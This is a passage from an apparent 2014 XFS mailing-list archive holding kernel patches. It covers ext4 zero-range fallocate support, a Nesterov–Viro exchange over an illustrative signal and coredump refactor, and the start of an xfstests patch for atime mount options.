+ } + + handle = ext4_journal_start(inode, EXT4_HT_MISC, 4); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + ext4_std_error(inode->i_sb, ret); + goto out_dio; + } + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + + if (!ret && new_size) { + if (new_size > i_size_read(inode)) + i_size_write(inode, new_size); + if (new_size > EXT4_I(inode)->i_disksize) + ext4_update_i_disksize(inode, new_size); + } + ext4_mark_inode_dirty(handle, inode); + + /* Zero out partial block at the edges of the range */ + ret = ext4_zero_partial_blocks(handle, inode, offset, len); + + if (file->f_flags & O_SYNC) + ext4_handle_sync(handle); + + ext4_journal_stop(handle); +out_dio: + ext4_inode_resume_unlocked_dio(inode); +out_mutex: + mutex_unlock(&inode->i_mutex); + return ret; +} + /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4589,7 +4819,8 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) @@ -4606,6 +4837,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) return -EOPNOTSUPP; + if (mode & FALLOC_FL_ZERO_RANGE) + return ext4_zero_range(file, offset, len, mode); + trace_ext4_fallocate_enter(inode, offset, len, mode); lblk = offset >> blkbits; /* diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 6e39895..e64807f 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -503,6 +503,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, { struct extent_status es; int retval; + int ret = 0; #ifdef ES_AGGRESSIVE_TEST struct ext4_map_blocks orig_map; @@ -552,7 +553,6 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, EXT4_GET_BLOCKS_KEEP_SIZE); } if (retval > 0) { - int ret; unsigned int status; if (unlikely(retval != map->m_len)) { @@ -579,7 +579,7 @@ int ext4_map_blocks(handle_t *handle, struct inode *inode, found: if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { - int ret = check_block_validity(inode, map); + ret = check_block_validity(inode, map); if (ret != 0) return ret; } @@ -596,7 +596,13 @@ found: * with buffer head unmapped. */ if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) - return retval; + /* + * If we need to convert extent to unwritten + * we continue and do the actual work in + * ext4_ext_map_blocks() + */ + if (!(flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) + return retval; /* * Here we clear m_flags because after allocating an new extent, @@ -652,7 +658,6 @@ found: ext4_clear_inode_state(inode, EXT4_STATE_DELALLOC_RESERVED); if (retval > 0) { - int ret; unsigned int status; if (unlikely(retval != map->m_len)) { @@ -687,7 +692,7 @@ found: has_zeroout: up_write((&EXT4_I(inode)->i_data_sem)); if (retval > 0 && map->m_flags & EXT4_MAP_MAPPED) { - int ret = check_block_validity(inode, map); + ret = check_block_validity(inode, map); if (ret != 0) return ret; } @@ -3501,7 +3506,7 @@ int ext4_punch_hole(struct inode *inode, loff_t offset, loff_t length) if (!S_ISREG(inode->i_mode)) return -EOPNOTSUPP; - trace_ext4_punch_hole(inode, offset, length); + trace_ext4_punch_hole(inode, offset, length, 0); /* * Write out all dirty pages to avoid race conditions diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 451e020..7bb26aa 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -71,7 +71,8 @@ struct extent_status; #define show_falloc_mode(mode) __print_flags(mode, "|", \ { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ - { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, \ + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}) TRACE_EVENT(ext4_free_inode, @@ -1333,7 +1334,7 @@ TRACE_EVENT(ext4_direct_IO_exit, __entry->rw, __entry->ret) ); -TRACE_EVENT(ext4_fallocate_enter, +DECLARE_EVENT_CLASS(ext4__fallocate_mode, TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), TP_ARGS(inode, offset, len, mode), @@ -1341,23 +1342,45 @@ TRACE_EVENT(ext4_fallocate_enter, TP_STRUCT__entry( __field( dev_t, dev ) __field( ino_t, ino ) - __field( loff_t, pos ) - __field( loff_t, len ) + __field( loff_t, offset ) + __field( loff_t, len ) __field( int, mode ) ), TP_fast_assign( __entry->dev = inode->i_sb->s_dev; __entry->ino = inode->i_ino; - __entry->pos = offset; + __entry->offset = offset; __entry->len = len; __entry->mode = mode; ), - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", + TP_printk("dev %d,%d ino %lu offset %lld len %lld mode %s", MAJOR(__entry->dev), MINOR(__entry->dev), - (unsigned long) __entry->ino, __entry->pos, - __entry->len, show_falloc_mode(__entry->mode)) + (unsigned long) __entry->ino, + __entry->offset, __entry->len, + show_falloc_mode(__entry->mode)) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_fallocate_enter, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_punch_hole, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) +); + +DEFINE_EVENT(ext4__fallocate_mode, ext4_zero_range, + + TP_PROTO(struct inode *inode, loff_t offset, loff_t len, int mode), + + TP_ARGS(inode, offset, len, mode) ); TRACE_EVENT(ext4_fallocate_exit, @@ -1389,31 +1412,6 @@ TRACE_EVENT(ext4_fallocate_exit, __entry->ret) ); -TRACE_EVENT(ext4_punch_hole, - TP_PROTO(struct inode *inode, loff_t offset, loff_t len), - - TP_ARGS(inode, offset, len), - - TP_STRUCT__entry( - __field( dev_t, dev ) - __field( ino_t, ino ) - __field( loff_t, offset ) - __field( loff_t, len ) - ), - - TP_fast_assign( - __entry->dev = inode->i_sb->s_dev; - __entry->ino = inode->i_ino; - __entry->offset = offset; - __entry->len = len; - ), - - TP_printk("dev %d,%d ino %lu offset %lld len %lld", - MAJOR(__entry->dev), MINOR(__entry->dev), - (unsigned long) __entry->ino, - __entry->offset, __entry->len) -); - TRACE_EVENT(ext4_unlink_enter, TP_PROTO(struct inode *parent, struct dentry *dentry), -- 1.8.3.1 From oleg@redhat.com Mon Feb 17 10:57:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 826D97F50 for ; Mon, 17 Feb 2014 10:57:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 693EB8F8039 for ; Mon, 17 Feb 2014 08:57:43 -0800 (PST) X-ASG-Debug-ID: 1392656259-04cb6c6de24d86f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AAMFobb0l7K71Aqa for ; Mon, 17 Feb 2014 08:57:39 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HGvZaL010385 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 11:57:36 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1HGvXRi015016; Mon, 17 Feb 2014 11:57:33 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Mon, 17 Feb 2014 17:57:38 +0100 (CET) Date: Mon, 17 Feb 2014 17:57:35 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140217165735.GA29173@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140213174020.GA14455@redhat.com> <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> <20140215180520.GC18016@ZenIV.linux.org.uk> <20140215184531.GA27314@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215184531.GA27314@redhat.com> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392656259 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/15, Oleg Nesterov wrote: > > On 02/15, Al Viro wrote: > > > > On Sat, Feb 15, 2014 at 06:43:45PM +0100, Oleg Nesterov wrote: > > > > So basically we want a different condition for "can we just go ahead and > > > > free that sucker", right? Instead of "it's on the list, shan't free it" > > > > it ought to be something like "it's on the list or it is referenced by > > > > ksiginfo". Locking will be interesting, though... ;-/ > > > > > > I guess yes... send_sigqueue() checks list_empty() too, probably nobody else. > > > > The trouble being, we might end up with > > Q picked by collect_signal and and stuff into ksiginfo > > Q resubmitted by timer code > > In this case the timer code should simply inc ->si_overrun and do nothing. > > IOW, list_empty() should be turned into is_queued(), and is_queued() > should be true until dismiss_siginfo() which should also do > do_schedule_next_timer(). I think. No, this is even more complicated. We also need do_schedule_next_timer() to calculate ->si_overrun we are going to report, I missed this... Looks like, this is all is really nasty. Actually, I think siginfo on stack is not that bad if we are going to do handle_signal() or restart, perhaps we can do the extra kmalloc/memcpy/kfree for do_coredump(). Something like below. Oleg. diff --git a/arch/x86/kernel/signal.c b/arch/x86/kernel/signal.c index 9e5de68..52f16f9 100644 --- a/arch/x86/kernel/signal.c +++ b/arch/x86/kernel/signal.c @@ -684,6 +684,52 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs) test_thread_flag(TIF_IA32) ? __NR_ia32_restart_syscall : __NR_restart_syscall #endif /* CONFIG_X86_32 */ +static noinline int process_signal(struct pt_regs *regs, siginfo_t **pinfo) +{ + struct ksignal ksig; + + switch (get_signal(&ksig)) { + case SIG_DUMP: + *pinfo = kmalloc(sizeof(siginfo_t), GFP_KERNEL); + if (*pinfo) + copy_siginfo(*pinfo, &ksig.info); + + case SIG_EXIT: + return ksig.info.si_signo; + + default: + handle_signal(&ksig, regs); + break; + + case 0: + /* Did we come from a system call? */ + if (syscall_get_nr(current, regs) >= 0) { + /* Restart the system call - no handlers present */ + switch (syscall_get_error(current, regs)) { + case -ERESTARTNOHAND: + case -ERESTARTSYS: + case -ERESTARTNOINTR: + regs->ax = regs->orig_ax; + regs->ip -= 2; + break; + + case -ERESTART_RESTARTBLOCK: + regs->ax = NR_restart_syscall; + regs->ip -= 2; + break; + } + } + + /* + * If there's no signal to deliver, we just put the saved sigmask + * back. + */ + restore_saved_sigmask(); + } + + return 0; +} + /* * Note that 'init' is a special process: it doesn't get signals it doesn't * want to handle. Thus you cannot kill init even with a SIGKILL even by @@ -691,37 +737,16 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs) */ static void do_signal(struct pt_regs *regs) { - struct ksignal ksig; + siginfo_t *info = NULL; + int sig = process_signal(regs, &info); - if (get_signal(&ksig)) { - /* Whee! Actually deliver the signal. */ - handle_signal(&ksig, regs); - return; - } - - /* Did we come from a system call? */ - if (syscall_get_nr(current, regs) >= 0) { - /* Restart the system call - no handlers present */ - switch (syscall_get_error(current, regs)) { - case -ERESTARTNOHAND: - case -ERESTARTSYS: - case -ERESTARTNOINTR: - regs->ax = regs->orig_ax; - regs->ip -= 2; - break; - - case -ERESTART_RESTARTBLOCK: - regs->ax = NR_restart_syscall; - regs->ip -= 2; - break; + if (sig) { + if (info) { + do_coredump(info); + kfree(info); } + do_group_exit(sig); } - - /* - * If there's no signal to deliver, we just put the saved sigmask - * back. - */ - restore_saved_sigmask(); } /* diff --git a/include/linux/signal.h b/include/linux/signal.h index 2ac423b..33b5e04 100644 --- a/include/linux/signal.h +++ b/include/linux/signal.h @@ -285,6 +285,9 @@ struct ksignal { int sig; }; +#define SIG_EXIT -1 +#define SIG_DUMP -2 + extern int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, struct pt_regs *regs, void *cookie); extern void signal_setup_done(int failed, struct ksignal *ksig, int stepping); extern void signal_delivered(int sig, siginfo_t *info, struct k_sigaction *ka, struct pt_regs *regs, int stepping); @@ -299,7 +302,7 @@ extern void exit_signals(struct task_struct *tsk); struct ksignal *p = (ksig); \ p->sig = get_signal_to_deliver(&p->info, &p->ka, \ signal_pt_regs(), NULL);\ - p->sig > 0; \ + p->sig; \ }) extern struct kmem_cache *sighand_cachep; diff --git a/kernel/signal.c b/kernel/signal.c index 52f881d..8a4c4a3 100644 --- a/kernel/signal.c +++ b/kernel/signal.c @@ -2353,22 +2353,11 @@ relock: if (print_fatal_signals) print_fatal_signal(info->si_signo); proc_coredump_connector(current); - /* - * If it was able to dump core, this kills all - * other threads in the group and synchronizes with - * their demise. If we lost the race with another - * thread getting here, it set group_exit_code - * first and our do_group_exit call below will use - * that value and ignore the one we pass it. - */ - do_coredump(info); + return SIG_DUMP; } - /* - * Death signals, no core dump. - */ - do_group_exit(info->si_signo); - /* NOTREACHED */ + return SIG_EXIT; + } spin_unlock_irq(&sighand->siglock); return signr; From viro@ftp.linux.org.uk Mon Feb 17 11:41:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D68A929DF8 for ; Mon, 17 Feb 2014 11:41:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id AF265304043 for ; Mon, 17 Feb 2014 09:41:09 -0800 (PST) X-ASG-Debug-ID: 1392658866-04bdf00fc0a8910001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id v9Nyf2bTfdv48y5Y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Feb 2014 09:41:07 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WFSBf-0008Ie-LF; Mon, 17 Feb 2014 17:40:59 +0000 Date: Mon, 17 Feb 2014 17:40:59 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140217174059.GD18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> <20140215180520.GC18016@ZenIV.linux.org.uk> <20140215184531.GA27314@redhat.com> <20140217165735.GA29173@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140217165735.GA29173@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392658867 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145212 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 05:57:35PM +0100, Oleg Nesterov wrote: > Looks like, this is all is really nasty. Actually, I think siginfo on > stack is not that bad if we are going to do handle_signal() or restart, > perhaps we can do the extra kmalloc/memcpy/kfree for do_coredump(). > Something like below. Yecchhhh... You've just broken every architecture other than x86, and to fix them you'll need to massage every get_signal()/get_signal_to_deliver() user out there, pulling the logics *out* of kernel/signal.c and into arch/*. This is just plain wrong. From oleg@redhat.com Mon Feb 17 11:46:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 131DE7F85 for ; Mon, 17 Feb 2014 11:46:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF6388F8035 for ; Mon, 17 Feb 2014 09:46:53 -0800 (PST) X-ASG-Debug-ID: 1392659212-04bdf00fc0a9290001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CvbQzu8y8N03B6TP for ; Mon, 17 Feb 2014 09:46:53 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HHknEb024127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 12:46:49 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1HHkkqR009238; Mon, 17 Feb 2014 12:46:46 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Mon, 17 Feb 2014 18:46:50 +0100 (CET) Date: Mon, 17 Feb 2014 18:46:48 +0100 From: Oleg Nesterov To: Al Viro Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140217174648.GA6176@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140215052531.GX18016@ZenIV.linux.org.uk> <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> <20140215180520.GC18016@ZenIV.linux.org.uk> <20140215184531.GA27314@redhat.com> <20140217165735.GA29173@redhat.com> <20140217174059.GD18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140217174059.GD18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392659213 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/17, Al Viro wrote: > > On Mon, Feb 17, 2014 at 05:57:35PM +0100, Oleg Nesterov wrote: > > > Looks like, this is all is really nasty. Actually, I think siginfo on > > stack is not that bad if we are going to do handle_signal() or restart, > > perhaps we can do the extra kmalloc/memcpy/kfree for do_coredump(). > > Something like below. > > Yecchhhh... You've just broken every architecture other than x86, Of course, this is only to explain what I meant. > and to > fix them you'll need to massage every get_signal()/get_signal_to_deliver() > user out there, Yes. > pulling the logics *out* of kernel/signal.c and into arch/*. Not really, I think. Of course this change should be cleanuped. And it should not require to change all architectures at once. > This is just plain wrong. I agree, this change is also ugly. Oleg. From viro@ftp.linux.org.uk Mon Feb 17 11:54:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E29107F88 for ; Mon, 17 Feb 2014 11:54:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C62F58F8037 for ; Mon, 17 Feb 2014 09:54:13 -0800 (PST) X-ASG-Debug-ID: 1392659651-04cbb00c2b4d9ec0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id 1Ft3MgQ3AATv9Yft (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Feb 2014 09:54:12 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WFSON-0008T9-RB; Mon, 17 Feb 2014 17:54:07 +0000 Date: Mon, 17 Feb 2014 17:54:07 +0000 From: Al Viro To: Oleg Nesterov Cc: Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140217175407.GE18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140215142700.GA15540@redhat.com> <20140215152251.GY18016@ZenIV.linux.org.uk> <20140215153631.GZ18016@ZenIV.linux.org.uk> <20140215155838.GA18016@ZenIV.linux.org.uk> <20140215174345.GA24799@redhat.com> <20140215180520.GC18016@ZenIV.linux.org.uk> <20140215184531.GA27314@redhat.com> <20140217165735.GA29173@redhat.com> <20140217174059.GD18016@ZenIV.linux.org.uk> <20140217174648.GA6176@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140217174648.GA6176@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392659652 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145213 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 06:46:48PM +0100, Oleg Nesterov wrote: > > pulling the logics *out* of kernel/signal.c and into arch/*. > > Not really, I think. How so? You propose to make all architectures call do_coredump() themselves, instead of having it done centrally. It's more boilerplate for all of them to get wrong. And IME any boilerplate in that are *will* be gotten wrong - I've gone through signal handling on all architectures more than a few times and every time it caught a pile of bugs... From koen.de.wit@oracle.com Mon Feb 17 14:25:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 48EAF7F9E for ; Mon, 17 Feb 2014 14:25:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2156AC006 for ; Mon, 17 Feb 2014 12:25:43 -0800 (PST) X-ASG-Debug-ID: 1392668739-04bdf00fcaba020001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id J9mLV7FhGl5v5Tl0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Feb 2014 12:25:39 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1HKPctK027068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 20:25:38 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1HKPbew016207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Feb 2014 20:25:37 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1HKPaNB014447; Mon, 17 Feb 2014 20:25:36 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 17 Feb 2014 12:25:36 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH v2] xfstests: test for atime-related mount options Date: Mon, 17 Feb 2014 21:25:20 +0100 X-ASG-Orig-Subj: [PATCH v2] xfstests: test for atime-related mount options Message-Id: <1392668720-6135-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392668739 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145219 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests the noatime, relatime, strictatime and nodiratime mount options. There is an extra check for Btrfs to ensure that the access time is never updated on read-only subvolumes. (Regression test for bug fixed with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) Signed-off-by: Koen De Wit --- v1->v2: - Fix typo in _cleanup() - Explicitly passing relatime mount option - Adding _require_relatime method to common/rc - Adding extra test for read-only mounts diff --git a/common/rc b/common/rc index e91568b..e55d09e 100644 --- a/common/rc +++ b/common/rc @@ -2159,6 +2159,14 @@ _verify_reflink() || echo "$1 and $2 are not reflinks: different extents" } +_require_relatime() +{ + _scratch_mkfs > /dev/null 2>&1 + _mount -t $FSTYP -o relatime $SCRATCH_DEV $SCRATCH_MNT || \ + _notrun "relatime not supported by the current kernel" + _scratch_unmount +} + _create_loop_device() { file=$1 diff --git a/tests/generic/323 b/tests/generic/323 new file mode 100644 index 0000000..54f2739 --- /dev/null +++ b/tests/generic/323 @@ -0,0 +1,199 @@ 